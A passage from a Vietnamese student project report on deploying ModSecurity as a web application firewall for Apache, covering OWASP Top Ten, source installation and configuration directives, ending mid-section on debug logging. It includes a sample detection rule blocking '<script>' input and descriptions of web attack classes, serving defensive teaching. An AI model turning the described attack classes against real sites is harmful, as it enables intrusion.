Nghiên cứu ứng dụng mod security để bảo vệ web server

2
MỤC LỤC
I. PHIẾU GIAO ĐỀTÀI............................................................................................................5
II. NHẬP ĐỀ...............................................................................................................................6
IV. GIỚI THIỆU MOD_SECURITY ..........................................................................................7
CHỨC NĂNG ...........................................................................................................................7
Parsing....................................................................................................................................7
Buffering ................................................................................................................................7
Logging ..................................................................................................................................7
Rule Engine............................................................................................................................8
CẤU TRÚC RULE TRONG ModSecurity...............................................................................8
QUY TRÌNH XỬ LÝ TRONG ModSecurity ...........................................................................8
Request Header (1).................................................................................................................9
Request body (2) ....................................................................................................................9
Response headers (3)..............................................................................................................9
Response body (4)................................................................................................................10
Logging (5)...........................................................................................................................10
KHUYẾN CÁO KHI TRIỂN KHAI THỰC TẾ.....................................................................10
V. TỐNG QUAN VỀ TIÊU CHUẨN OWASP TOP TEN....................................................... 11
VI. CÀI ĐẶT MODSECURITY ............................................................................................12
VII. CẤU HÌNH.......................................................................................................................15
Cấu hình thư mục ....................................................................................................................15
Các tập tin cấu hình .................................................................................................................15
Các chỉ thị trong tập tin cấu hình.............................................................................................16
Quản lý Request Body.............................................................................................................17
Quản lý Response Body ..........................................................................................................18
Filesystem Locations...............................................................................................................18
File Uploads.............................................................................................................................19
Debug Log...............................................................................................................................19
Audit Log.................................................................................................................................19
Default Rule Match Policy......................................................................................................20
Verifying Installation...............................................................................................................20
VIII. OWASP MODSECURITY CORE RULE SET................................................................ 20

3
Giới thiệu.................................................................................................................................20
Triển khai OWASP ModSecurity CRS....................................................................................21
Kiểm tra kết quả ......................................................................................................................22
IX. TỔNG QUAN VỀ RULE ....................................................................................................23
Giới thiệu.................................................................................................................................23
Variables ..................................................................................................................................25
Request variables .................................................................................................................25
Server variables....................................................................................................................26
Response variables...............................................................................................................26
Miscellaneouse variables .....................................................................................................27
Parsing flags.........................................................................................................................27
Collections variables ............................................................................................................28
Time variables......................................................................................................................28
Operators .................................................................................................................................29
String–matching operators ...................................................................................................29
Numerical operators.............................................................................................................30
Validation operators .............................................................................................................30
Miscellaneous operators.......................................................................................................30
Actions.....................................................................................................................................31
Disruptive actions.................................................................................................................31
Flow actions .........................................................................................................................31
Metadata actions...................................................................................................................32
Variable actions ....................................................................................................................32
Logging actions....................................................................................................................32
Special actions......................................................................................................................33
Miscellaneous Actions .........................................................................................................33
X. RULE LANGUAGE TUTORIAL .......................................................................................33
Tổng quan................................................................................................................................ 33
Hướng dẫn sử dụng biến (variable).........................................................................................33
Hướng dẫn sử dụng liên kết rule (chain).................................................................................34
Hướng dẫn sử dụng toán tử phủ định ......................................................................................34
Variable Counting....................................................................................................................35

4
Hướng dẫn về action................................................................................................................35
Action Defaults ....................................................................................................................35
Unconditional Rules.............................................................................................................36
Using Transformation Functions..........................................................................................36
Blocking ...............................................................................................................................37
Changing Rule Flow ............................................................................................................37
Capturing Data .....................................................................................................................38
Variable Manipulation..........................................................................................................39
Metadata...............................................................................................................................39
XI. PHÂN TÍCH CÁC RULE ỨNG DỤNG THỰC TẾ........................................................40
Trường hợp 1: Chống tấn công Replay attack thông qua cơ chế đánh token ngẫu nhiên.......40
Trường hợp 2: Phát hiện các Session cookie không hợp lệ.....................................................43
Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting.......................48
Trường hợp 4: Phòng chống phương pháp khai thác Path-Traversal......................................50
Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng ....................................................52
Trường hợp 6: Phát hiện hành vi đăng nhập bruteforce..........................................................54
XII. PHỤ LỤC .........................................................................................................................61
DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010..............................................................61
DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB .................64
DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB.....67
XIII. TÀI LIỆU THAM KHẢO ................................................................................................ 91

5
I. PHIẾU GIAO ĐỀTÀI
Tên đề án: Nghiên cứu ứng dụng Mod Security để bảo vệ web
server
Người hướng dẫn: Lưu Thanh Trà
Thời gian thực hiện: 14 tuần
Số lượng SV 2
I. Mục đích
Các firewall truyền thống không đủ mạnh để để bảo vệ các web server. ModSecurity cho phép
bảo vệ web server (một/nhiều) thông qua cơ chế can thiệp trực tiếp ở mức độ ứng dụng.
Đồ án này nhằm nghiên cứu và ứng dụng ModSecurity để bảo vệ hệ thống web bất kỳ.
II. II. Yêu cầu đối với sinh viên thực hiện
 Sinh viên có kiến thức cơ bản về Linux, web
 Sinh viên có kiến thức về security, html, lập trình web
III. yêu cầu
 Sinh viên nắm rõ hoạt động của hệ điều hành Linux
 Sinh viên nắm rõ web, html, http, PhP.
IV. Sản phẩm
 Hệ thống Mod Security triển khai hoàn chỉnh để bảo vệ hệ thống web
V. Tài liệu tham khảo
Các giáo trình do giảng viên đề nghị, Internet
Ngày 28 tháng 02 năm 2013
Ký tên
TS. Lưu Thanh Trà

6
II. NHẬP ĐỀ
Ngày nay, ứng dụng web trong doanh nghiệp và cơ quan chính phủ phải đối mặt với hai
thách thức lớn là: giảm thiểu nguy cơ bảo mật và bảo đảm quy trình trong công nghiệp và/hoặc
những quy định chính phủ. May mắn thay khi tồn tại một giải pháp an toàn thông tin sẵn sàng
hỗ trợ các tổ chức CNTT đạt được cả hai tiêu chí trên tại cùng một thời điểm. OWASP cho
phép các chuyên gia an ninh CNTT giảm thiểu được các cuộc tấn công bằng các chủ động và
liên tục củng cố các cấu hình cấu hình an ninh của OS, ứng dụng web và Web Application
Firewall. Đồng thời, các dự án thuộc chuẩn OWASP cho phép các kiểm soát viên giám sát việc
tuân thủ các chính sách bắt buộc trong tổ chức, doanh nghiệp.
ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng cấu hình, tùy
chỉnh các phương thức phát hiện tấn công vào web server. Phiên bản ModSecurity hiện tại đã
hỗ trợ Apache, Nginx và IIS. Cùng với dự án ModSecurity Core Rule Set thì việc triển khai hệ
thống WAF càng dễ dàng hơn cho nhân viên hệ thống cũng như các chuyên viên bảo mật.

7
IV. GIỚI THIỆU MOD_SECURITY
Mod_Security là một module mở rộng cho các chương trình web server như Apache, Nginx,
IIS và hoạt động như một firewall tại lớp ứng dụng web. Cùng với sự gia tăng về phương pháp
tấn công web thì mod_security cũng đã cập nhật những rule và đưa ra nhiều cách phòng chống
trong mã nguồn của chương trình. Một số tính chất mà mod_security có thể dùng làm Web
Application Firewall:
Tính linh động (Flexibility)
Việc phân tích luồng HTTP theo một tiêu chí nhất định trong thực tế thường gặp vấn đề là
làm sao để có thể so trùng mẫu mà bạn muốn. Ngoài ra, do nhu cầu của từng hệ thống web là
khác nhau dẫn đến việc phân tích trên từng loại ứng dụng cũng khác nhau. Mod_security đã kết
hợp với OWASP phát triển các tập rule mẫu (Core Rule Set) nhằm tạo ra tính linh động cho
từng mô hình web khác nhau, hỗ trợ người quản trị phân tích theo nhu cầu thực tế của hệ thống
đang quản trị.
Tính thụ động (Passivity)
ModSecurity sẽ không thực thi các tác vụ nếu như người quản trị viên không chỉ định công
việc cụ thể cho chương trình, việc này là khá quan trọng trong một ứng dụng có nhiệm vụ phân
tích nguy cơ như ModSecurity. Mọi cảnh báo sẽ được thực hiện thông qua cơ chế phân tích và
quyết định tương tác với hệ thống sẽ do người quản trị thực hiện.
CHỨC NĂNG
ModSecurity hoạt động với chương trình web server (ví dụ: Apache) sẽ thực hiện các tác vụ
như sau:
Parsing
ModSecurity sẽ phân tách các dữ liệu luân chuyển qua hệ thống thành cấu trúc dữ liệu mà
ModSecurity định nghĩa sẵn. Cấu trúc này sẽ được chuyển qua cơ chế so trùng mẫu trong tập
rule để phân tích nguy cơ.
Buffering
Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ chế hoạt động của ModSec.
Việc này có ý nghĩa khi các request gởi đến ứng dụng web thì phải thông qua ModSecurity
trước khi đến ứng dụng xử lý và những response cũng sẽ được phân tích trước khi trả về phía
client. Cơ chế này là cách duy nhất để có thể ngăn chặn các cuộc tấn công thời gian thực, các
dữ liệu mà ModSecurity nhận được và phân tích sẽ được lưu trữ trong RAM (bao gồm request
body và response data)
Logging
ModSecurity hỗ trợ ghi nhật ký các gói tin HTTP: request headers, request body, response
header, response body nhằm hỗ trợ người quản trị phân tích nguy cơ mà hệ thống đang gặp
phải để có thể ra quyết định kiểm soát.

8
Rule Engine
Các tập mẫu trong ModSecurity đóng vai trò quan trọng trong việc phát hiện các dạng tấn
công và thực hiện phòng chống. ModSecurity cùng phát triển với dự án OWASP phát triển các
mẫu để phân tích và phòng chống các tấn công hệ thống web (Tham khảo
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project)
Các phân nhóm mà CRS hỗ trợ:
HTTP Protection
Real-time Blacklist Lookups
Web-based Malware Detection
HTTP Denial of Service Protections
Common Web Attacks Protection
Automation Detection
Integration with AV Scanning for File Uploads
Tracking Sensitive Data
Trojan Protection
Identification of Application Defects
Error Detection and Hiding
CẤU TRÚC RULE TRONG ModSecurity
Tất cả các hoạt động trong ModSecurity hầu hết sẽ liên quan đến hai phần chính là: cấu hình
(configuration) và các tập luật (rule). Phần cấu hình chỉ định cách thức xử lý dữ liệu, trong khi
các rule sẽ quyết định thực hiện các hành vi (action) với dữ liệu đã được xử lý.
Một ví dụ về rule: SecRule ARGS "<script>" log,deny,status:404
Cấu trúc chuẩn của một rule trong ModSecurity bao gồm 3 phần chính:
SecRule VARIABLES OPERATOR ACTIONS
VARIABLES: xác định vị trí dữ liệu mà ModSecurity sẽ tìm kiếm mẫu. Trong ví dụ trên,
tham số ARGS nhằm chỉ định tìm kiếm mẫu trong tất cả các tham số trong request.
OPERATOR: chỉ định cách mà ModSecurity sẽ tìm kiếm mẫu. Các operator được dùng theo
dạng Regular expression nhằm tạo nên cơ chế phân tích linh động cho các rule.
ACTIONS: chỉ định hành động mà ModSecurity sẽ thực hiện khi có một mẫu được so trùng.
Trong ví dụ trên, phần action được viết log,deny,status:404 có nghĩa là: khi trùng mẫu <script>
trong gói tin thì thực hiện ghi log, deny gói tin bằng cách sử dụng mã trạng thái 404 (Not
found).
QUY TRÌNH XỬ LÝ TRONG ModSecurity
Trong ModSecurity mỗi phiên phân tích sẽ thực hiện lần lượt qua 5 bước (pha), tại mỗi bước
ModSecurity sẽ thực thi các rule tương ứng nhằm phát hiện và phòng chống các khai thác.

9
Hình 1: Quy trình xử lý của ModSecurity (nguồn www.Modsecurity.org)
Request Header (1)
Đây là bước đầu tiên trong quá trình thực hiện phân tích gói tin. Mục đích của bước này
nhằm cho phép người viết rule tương tác với các request trước khi thực hiện các yêu cầu trong
phần HTTP body. Phần này khá quan trọng để phân tích các khai thác dựa vào HTTP method
cũng như dựa vào URL như SQL Injection, Reflect XSS, Local file include …
Request body (2)
Bước 2 là quá trình kiểm tra chính trong quá trình client gởi request đến server, phần này sẽ
có hiệu quả khi người dùng cố sử dụng phương thức POST hoặc PUT để upload tập tin lên phía
server. Việc kiểm tra này bảo đảm dữ liệu đưa lên server là an toàn, tránh tình trạng upload mã
độc hoặc các dạng tấn công nhưng Stored XSS, Ajax Injection …
Response headers (3)
Những request đã được xử lý tại server sẽ được trả về cho ModSecurity kiểm tra trạng thái
trong phần respone header. Trước khi phần respone body được đọc thì ModSecurity sẽ dựa vào
tập rule để xác định có cần kiểm tra nội dung dữ liệu trong phần body hay không.
Ví dụ: mã trạng thái trả về là 404 (Not found) thì lúc này sẽ không cần kiểm tra nội dung gói
tin trả về.

10
Response body (4)
Sau khi ModSecurity đã hoàn thành việc kiểm tra tại respone header thì nội dung trong phần
body sẽ được kiểm tra so trùng với mẫu trong tập lệnh.Việc này là khá hiệu quả để phát hiện và
phòng chống xâm nhập trong trường hợp bước 1 và 2 không phát hiện được tấn công.
Ví dụ: trong khai thác SQL injection, nếu hacker cố gắng sử dụng một số công nghệ evasion
thì việc phát hiện khi request là khó khăn. Khi khai thác thành công, ModSecurity sẽ phân tích
kết quả trong gói tin trả về để phát hiện nếu như câu truy vấn thành công.
Logging (5)
Việc ghi log sẽ ghi nhận các cảnh báo cũng như quy trình làm việc của ModSecurity.
KHUYẾN CÁO KHI TRIỂN KHAI THỰC TẾ
Nhằm bảo đảm tính tính linh động trong việc phát hiện cũng như bảo vệ theo thời gian thực,
ModSecurity cần sử dụng một lượng tài nguyên CPU và RAM để bảo đảm hoạt động đúng
mục đích khi triển khai. Việc sử dụng tài nguyên phụ thuộc nhiều vào phần cấu hình và cách
triển khai trên từng hệ thống khác nhau. Dưới dây là một số điểm chính cần chú ý:
ModSecurity sẽ phân tích các cú pháp mà apache sẽ thực hiện, vì thế hệ thống của bạn sẽ có
thể tăng tiêu thụ tài nguyên CPU để thực hiện tác vụ.
Việc phân tích linh động trong một số trường hợp sẽ cần một lượng tài nguyên khá lớn để
phân tích. Ví dụ: XML, JSON, AJAX …
Việc quản lý dữ liệu upload từ phía client yêu cầu thêm tài nguyên I/O (như HDD), trong
một số trường hợp sẽ gây ra tình trạng trùng lặp dữ liệu trên hệ thống.
Dữ liệu trong request và resopone được lưu trữ đệm trong RAM để thực hiện các tác vụ chặn
theo thời gian thực.
Mỗi rule trong phần cấu hình sẽ sử dụng CPU (cho phần operartor) và RAM (dùng để
chuyển đổi dữ liệu đầu vào trước khi qua phiên phân tích)
Việc sử dụng các Regular expression sẽ tốn các tài nguyên nhiều hơn.
Các hoạt động I/O sẽ tăng cao cho việc ghi nhật ký trong quá trình hoạt động của
ModSecurity (full transaction loging).
Khi triển khai thực tế ModSecurity, bạn cần chú ý đến những điều trên để có thể xác định
được tài nguyên cần thiết để ModSecurity hoạt động ổn định. Trong trường hợp bạn không thể
thay đổi tài nguyên phần cứng, thì tôi khuyên bạn nên thường xuyên theo dõi trạng thái hoạt
động của hệ thống, rút ra những kinh nghiệm nhằm điều chỉnh hoặc giảm bớt chức năng,
ruleset phù hợp mà vẫn đảm bảo an toàn cho việc hoạt động. Nếu như tổ chức mà bạn đang
quản lý sử dụng một số công nghệ ảo hóa thì việc điều chỉnh tài nguyên sẽ thuận tiện hơn để
ModSecurity hoạt động.
Một cách khác để triển khai ModSecurity trên thực thế là dùng như một reverse proxy, trong
trường hợp này tài nguyên cho ModSecurity sẽ ổn định hơn so với hệ thống tích hợp (CPU,
RAM, I/O hoạt động ở trạng thái cao).

11
V. TỐNG QUAN VỀ TIÊU CHUẨN OWASP TOP TEN
OWASP (Open Web Application Security Project) là một dự án phi lợi nhuận, tập trung vào
việc cải thiện tính bảo mật của ứng dụng web. Thành viên của dự án là các cá nhân, tổ chức,
chuyên gia … cùng đóng góp các mã nguồn, công cụ hỗ trợ kiểm tra lỗ hổng ứng dụng web.
Năm 2010, cộng đồng OWASP xuất bản “Tài liệu hướng dẫn kiểm tra ứng dụng Web” phiên
bản 3 (OWASP Testing Guide v3: https://www.owasp.org/index.php/OWASP_Testing_Project).
Tài liệu liệt kê và phân nhóm các lỗ hổng bảo mật đã được biết đến trong ứng dụng web. Đồng
thời nội dung của tài liệu này mô tả các dự án được cộng đồng phát triển, bao gồm dự án WAF
ModSecurity.
OWASP phân loại các lỗ hổng thành 10 phân nhóm chính:
A1-Injection Nhóm này bao gồm các lỗ hổng như SQL injection, OS command
injection, LDAP injection…các lỗ hổng trong phân nhóm này cho
phép hacker truy cập hoặc chèn các dữ liệu giả vào hệ thống thông
qua các câu truy vấn dữ liệu.
A2-Cross Site
Scripting (XSS)
XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập
các dữ liệu vào mà không thông qua kiểm duyệt nội dung, những dữ
liệu này sẽ tương tác trực tiếp với những người dùng khác cùng sử
dụng website. Nguy cơ tạo ra là hacker có thể chèn các mã kịch bản
như HTML, Javascript… nhằm ăn cắp SessionCookie, thay đổi giao
diện (deface) hoặc chuyển hướng đến trang có mã độc khác.
A3-Broken
Authentication and
Session Management
Phân nhóm này liệt kê các nguy cơ về chức năng xác thực và quản
lý phiên (session management) trong ứng dụng web. Thông thường
các chức năng này không được triển khai tốt, cho phép hacker vượt
qua cơ chế kiểm duyệt người dùng.
A4-Insecure Direct
Object References
Nguy cơ trong nhóm A4 thường được gặp trong trường hợp các
lập trình viên sử dụng tham chiếu đến một tập tin, thư mục hoặc các
truy vấn database trong mã nguồn. Nếu các tham chiếu này không
được quản lý chặt chẽ, thì việc truy cập dữ liệu trái phép từ bên ngoài
là rất nguy hiểm.
A5-Cross Site
Request Forgery
(CSRF)
Một cuộc tấn công CSRF yêu cầu một người dùng đã đăng nhập.
Tiếp theo, hacker sẽ chèn các mã kịch bản đã được dựng sẵn vào nội
dung trang web nhằm thực thi một hành động bất hợp pháp với
quyền của người dùng đã đăng nhập.
A6-Security
Misconfiguration
Các yêu cầu về bảo mật ứng dụng web cũng bao gồm việc cấu
hình và triển khai hệ thống, ứng dụng webserver (Apache, Nginx,
Tenginx…), cơ sở dữ liệu (MySQL, Oracle…), hệ điều hành (Linux,
Windows…). Tất cả công việc thiết lập môi trường cho ứng dụng
web hoạt động cần được lên kế hoạch theo dõi, kiểm tra, cập nhật
thường xuyên nhằm giảm thiểu nguy cơ hệ thống bị khai thác.
A7-Insecure
Cryptographic Storage
Rất nhiều ứng dụng web không quan tâm đến việc bảo vệ dữ liệu
nhạy cảm như thông tin thẻ tín dụng, SSN và các thông tin xác thực.

12
Việc hacker thu thập các dữ liệu nhạy cảm không được mã hóa
(encrypt) hoặc băm (hash) sẽ tạo ra mối nguy hiểm lớn cho những
website cho phép giao dịch thông qua thương mại điện tử.
A8-Failure to
Restrict URL Access
Hầu hết các ứng dụng thường thực hiện kiểm soát việc truy cập
thông qua URL (thông qua cơ chế Rewrite). Việc giới hạn quyền truy
cập vào các tập tin, thư mục nhạy cảm là cần thiết. Trong một số tình
huống, việc kiểm soát này không được quản lý đầu đủ tạo nguy cơ
xâm nhập trái phép vào ứng dụng (ví dụ: thư viện fckditor thường có
thể truy cập trực tiếp không cần xác thực).
A9-Insufficient
Transport Layer
Protection
Thông tin xác thực được truyền qua môi trường mạng truyền dẫn
không bảo mật sẽ tạo ra nguy cơ dữ liệu bị nghe lén. Việc này cũng
tương tự nếu như ứng dụng sử dụng các chứng chỉ số (certificate) với
các khóa yếu (weak key), thuật toán mã hóa yếu (weak algorithms)
hoặc chứng chỉ đã hết hạn sử dụng (expired).
A10-Unvalidated
Redirects and Forwards
Các ứng dụng web thường chuyển hướng người dùng đến những
trang web hoặc URL khác nhau. Hacker có thể lợi dụng cơ chế này
để chuyển hướng người dùng đến những website chứa phần mềm độc
hại hoặc trang đăng nhập giả.
Dự án OWASP ModSecurity Core Rule Set (CRS) sử dụng bản quyền ASLv2. Các tập rule
trong CRS được phân loại theo tiêu chuẩn OWASP để có thể bảo vệ máy chủ web theo từng
loại tấn công. Các rule này hoạt động tốt với phiên bản ModSecurity 2.5 trở lên.
Các vấn đề về triển khai ModSecurity CRS và phương pháp kiểm tra lỗ hổng sau khi triển
khai, bạn có thể tham khảo tại mục OWASP MODSECURITY CORE RULE SET và PHỤ
LỤC.
VI. CÀI ĐẶT MODSECURITY
Trước khi bạn tiến hành cài đặt ModSecurity cho hệ thống, bạn cần biết những phương thức
cài đặt cũng như một số ưu điểm và khuyết điểm cho từng loại:
CÁCH CÀI ĐẶT ƯU ĐIỂM NHƯỢC ĐIỂM
Dựa vào phiên bản của
hệ điều hành
Tự động cài đặt
Dễ dàng bảo trì
Có thể là phiên bản
cũ
Gói cài đặt của bên thứ
ba
Tự động cài đặt Có thể là phiên bản
cũ
Yêu cầu tải và cập
nhật thường xuyên
Không tin tưởng vào
gói cài đặt đã đóng gói
Cài đặt từ mã nguồn Bảo đảm là phiên
bản mới nhất
Có thể sử dụng phiên
bản thử nghiệm
Có thể gặp các vấn
đề khi quản trị viên muốn
sử dụng lại phiên bản cũ
trước đó

13
Có thể tùy biến, sử
dụng các bản vá khẩn cấp
trong tình huống phát hiện
lỗi bảo mật
Trong phần này, tôi sẽ hướng dẫn biên dịch từ mã nguồn. ModSecurity được tải tại trang
web www.Modsecurity.org.
Trước khi cài đặt ModSecurity trên nền tảng Linux, bạn cần cài đặt một số thư viện hỗ trợ
như sau: Apache Portable Runtime (APR), APR-util,bật module mod_unique_id trong Apache,
libcurl, libxml2, Lua 5.1 (tùy chọn), PCRE.
#yum install openssl openssl-devel pcre pcre-devel libxml2 libxml2-devel curl-devel pcre
pcre-devel
Tải phiên bản ModSecurity mới nhất tại trang chính của sản phẩm.
#wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz
#wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz.md5
Kiểm tra gói tin đã tải về
#md5sum –c Modsecurity-apache_2.7.3.tar.gz.md5
Thực hiện giải nén
#tar xvf Modsecurity-apache_2.7.3.tar.gz
#cd Modsecurity-apache_2.7.3
Biên dịch cài đặt chương trình
#./configure
# make
# make install
Hình 2: Kiểm tra MD5 tập tin cài đặt

14
Sau khi cài đặt thành công, ta cần cấu hình LoadModule trong tập tin cấu hình của Apache
(mặc định trên CentOS là /etc/httpd/conf/httpd.conf)
Bỏ comment cho unique_id_module
LoadModule unique_id_module modules/mod_unique_id.so
Thêm dòng
LoadModule security2_module modules/mod_security2.so
Sau khi chỉnh tập tin httpd.conf, ta save lại và tiến hành kiểm tra tập tin cấu hình, bảo đảm
Apache hoạt động bình thường.
# httpd –t
Khởi động lại dịch vụ httpd trên hệ thống, đồng thời kiểm tra log file để bảo đảm dịch vụ
hoạt động tốt.
# service httpd restart
#tail –f /var/logs/httpd/error_log

15
Hình 3: Log thông báo trạng thái khởi động của Apache
Apache đã hoạt động bình thường với mod_security.
VII. CẤU HÌNH
Cấu hình thư mục
Trước khi thực hiện cấu hình ModSecurity, tôi sẽ tạo một danh sách các thư mục theo một
định dạng sẵn. Việc này giúp tôi quản lý dễ dàng các dữ liệu mà ModSecurity tạo ra, đồng thời
hỗ trợ trong việc bảo trì và cập nhật các rule mới cho ModSecurity.
Binaries: /opt/modsecurity/bin
Configuration files: /opt/modsecurity /etc
Audit logs: /opt/modsecurity /var/audit
Persistent data: /opt/modsecurity/var/data
Logs: /opt/modsecurity/var/log
Temporary files: /opt/modsecurity/var/tmp
File uploads: /opt/modsecurity/var/upload
Location Owner Group Permissions
/opt/modsecurity root apache rwxr-x---
/opt/modsecurity/bin root apache rwxr-x---
/opt/modsecurity/etc root root rwx------
/opt/modsecurity/var root apache rwxr-x---
/opt/modsecurity/var/aud
it
apache root rwx------
/opt/modsecurity/var/dat
a
/opt/modsecurity/var/log root root rwx------
/opt/modsecurity/var/tmp apache apache rwxr-x---
/opt/modsecurity/var/upl
oad
Các tập tin cấu hình
Tập tin Mô tả
main.conf Tập tin cấu hình chính

16
rules-first.conf Tập lệnh thực hiện đầu tiên
rules.conf Tập lệnh thực hiện chính
rules-last.conf Tập lệnh thực hiện cuối cùng
Thực hiện tạo tập tin Modsecurity.conf trong thư mục /etc/httpd/conf.d với nội dung:
<IfModule mod_security2.c>
Include /opt/modsecurity/etc/main.conf
Include /opt/modsecurity/etc/rules-first.conf
Include /opt/modsecurity/etc/rules.conf
Include /opt/modsecurity/etc/rules-last.conf
</IfModule>
Tạo một tập tin cấu hình mẫu cho ModSecurity dựa vào tập tin đề nghị có sẵn, tại thư mục
chứa mã nguồn Modsecurity thự hiện lệnh sao chép như sau:
#cp Modsecurity.conf-recommended /opt/modsecurity/etc/main.conf
Các chỉ thị trong tập tin cấu hình
Chỉ thị Mô tả
SecArgumentSeparator Sets the application/x-www-form-urlencoded
parameter separator
SecCookieFormat Sets the cookie parser version
SecDataDir Sets the folder for persistent storage
SecRequestBodyAccess Controls request body buffering
SecRequestBodyInMemoryLimit Sets the size of the per-request memory buffer
SecRequestBodyLimit Sets the maximum request body size
ModSecurity will accept
SecRequestBodyLimitAction Controls what happens once the request body
limit is reached
SecRequestBodyNoFilesLimit Sets the maximum request body size,
excluding uploaded files
SecResponseBodyAccess Controls response body buffering
SecResponseBodyLimit Specifies the response body buffering limit
SecResponseBodyLimitAction Controls what happens once the response body
limit is reached
SecResponseBodyMimeType Specifies a list of response body MIME types
to inspect
SecResponseBodyMimeTypesClear Clears the list of response body MIME types
SecRuleEngine Controls the operation of the rule engine

17
SecTmpDir Sets the folder for temporary files
Quản lý Request Body
Request bao gồm hai thành phần: request header mặc định luôn được bật trong ModSecurity
và request body là tùy chọn để theo dõi. Trong trường hợp quản trị viên cần theo dõi nội dung
request body thì cầu cấu hình như sau:
# Allow ModSecurity to access request bodies. If you don't, ModSecurity
# won't be able to see any POST parameters, which opens a large security
# hole for attackers to exploit.
#
SecRequestBodyAccess On
Khi chức năng quản lý request body được sử dụng, thì ModSecurity không những sẽ theo
dõi nội dung gói tin mà còn sẽ lưu trữ nội dung trong bộ đệm (buffer) để phân tích trong trường
hợp dữ liệu gởi đến server cần nhiều hơn một gói tin HTTP. Nhằm tránh tình trạng gây quá tải
cho bộ nhớ RAM, quản trị viên cần điều chỉnh tham số giới hạn phù hợp. Có ba phần cấu hình
chỉ định hoạt động của buffer. Hai chỉ thị đầu tiên dùng để giới hạn của các request:
# Maximum request body size we will accept for buffering. If you support
# file uploads then the value given on the first line has to be as large
# as the largest file you are willing to accept. The second value refers
# to the size of data, with files excluded. You want to keep that value as
# low as practical.
#
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072
Trong phiên bản trước 2.5, ModSecurity chỉ hỗ trợ SecRequestBodyLimit dùng để giới hạn
kích thước gói tin request đến server, bao gồm gói tin với POST method bình thường (ví dụ:
nhập username, password) và các gói tin dùng POST method để upload tập tin. Nhưng nhóm
phát triển ModSecurity thấy rằng: khi client dùng POST để upload tập tin, thì quá trình này
không sử dụng đến RAM để xử lý gói tin mà chỉ dùng I/O để truyền dữ liệu. Vì lý do này, trong
phiên bản sau 2.5 thì chức năng SecRequestBodyNoFilesLimit được thêm vào nhằm phân biệt
gói tin dùng để upload tập tin và gói tin dùng để nhập dữ liệu từ client.
Chỉ thị thứ ba trong phần này là SecRequestBodyInMemoryLimit, dùng điều khiển hoạt
động lưu trữ nội dung của gói tin vào bộ nhớ RAM. Tham số trong phần này chỉ có hiệu quả
với các gói tin có nhiệm vụ upload tập tin (multipart/form-data)
# Store up to 128 KB of request body data in memory. When the multipart
# parser reachers this limit, it will start using your hard disk for
# storage. That is slow, but unavoidable.
#
SecRequestBodyInMemoryLimit 131072

18
Những gói tin có kích thước trong khoảng giới hạn tại mục SecRequestBodyInMemoryLimit
sẽ được lưu trữ trong RAM. Những gói tin có kích thước lớn hơn sẽ được chuyển vào vùng nhớ
swap trên ổ cứng để lưu trữ và phân tích.
Quản lý Response Body
Tương tự như gói tin request, các gói tin respone cũng bao gồm hai phần là header và body
(trong một số trường hợp gói tin respone không tồn tại nội dung trong phần body). Ta cấu hình
việc theo dõi nội dung trong repone tại mục SecResponseBodyAccess.
# Allow ModSecurity to access response bodies.
# You should have this directive enabled in order to identify errors
# and data leakage issues.
#
# Do keep in mind that enabling this directive does increases both
# memory consumption and response latency.
#
#SecResponseBodyAccess On
SecResponseBodyAccess Off
Tôi khuyến cáo nên tắt chức năng theo dõi respone nhằm giảm thiểu tài nguyên CPU và
RAM trên máy chủ. Hơn nữa, hầu hết các cuộc tấn công thường xuất hiện bên ngoài hệ thống,
nên việc theo dõi các repone đôi khi là không cần thiết.Trong trường hợp bạn cần theo dõi dữ
liệu phản hồi từ server, đơn giản là thiết lập thành giá trị thành On.
Trong dữ liệu mà phía server trả về phía client thường bao gồm nhiều thành phần và kiểu
khác nhau như: html, css, js, jpg, xml … Trong hầu hết các trường hợp, thì các dữ liệu tĩnh
(javascript, css …) không tạo ra nguy cơ bảo mật nào cho hệ thống, do vậy trong ModSecurity
ta cần chỉ định rõ kiểu dữ liệu cần theo dõi trong phần SecResponseBodyMimeType
# Which response MIME types do you want to inspect? You should adjust the
# configuration below to catch documents but avoid static files
# (e.g., images and archives).
#
SecResponseBodyMimeType text/plain text/html text/xml
Filesystem Locations
Trong phần cấu hình này, ta cần chỉ định thư mục lưu trữ tạm thời nhằm phục vụ cho chức
năng theo dõi nội dung tập tin đăng tải lên phía server. Ngoài ra, thư mục này bao gồm việc lưu
trữ các session_cookie trong trường hợp phục vụ cho các rule chống khai thác thông qua
session_fixation hoặc session_hijacking.
#-- Filesystem configuration ------------------------------------------------
# The location where ModSecurity stores temporary files (for example, when
# it needs to handle a file upload that is larger than the configured limit).
#
# This default setting is chosen due to all systems have /tmp available however,
# this is less than ideal. It is recommended that you specify a location that's private.

19
#
SecTmpDir /tmp/
# The location where ModSecurity will keep its persistent data. This default setting
# is chosen due to all systems have /tmp available however, it
# too should be updated to a place that other users can't access.
#
SecDataDir /tmp/
File Uploads
Tại phần cấu hình quản lý upload tập tin, ta cần chỉ định thư mục chứa dữ liệu tạm thời trong
trường hợp có tập tin được upload. Thư mục này sẽ chứa tập tin tạm thời để ModSecurity kiểm
tra trước khi đưa quan Apache xử lý nội dung tiếp theo.
Khuyến cáo: việc sử dụng chức năng theo dõi tập tin upload có thể là nguyên nhân của việc
làm tăng dung lượng lưu trữ do có nhiều tập tin trùng lặp nội dung, đồng thời việc này sẽ làm
giảm hiệu suất của ModSecurity. Vì lý do này, bạn chỉ nên sử dụng chức năng này khi thật sự
cần thiết.
# The location where ModSecurity will store intercepted
# uploaded files. This location must be private to ModSecurity.
SecUploadDir /opt/modsecurity/var/upload/
# By default, do not intercept (nor store) uploaded files.
SecUploadKeepFiles Off
Debug Log
Debug log sẽ hỗ trợ quản người trị trong việc theo dõi hoạt động của ModSecurity. Log level
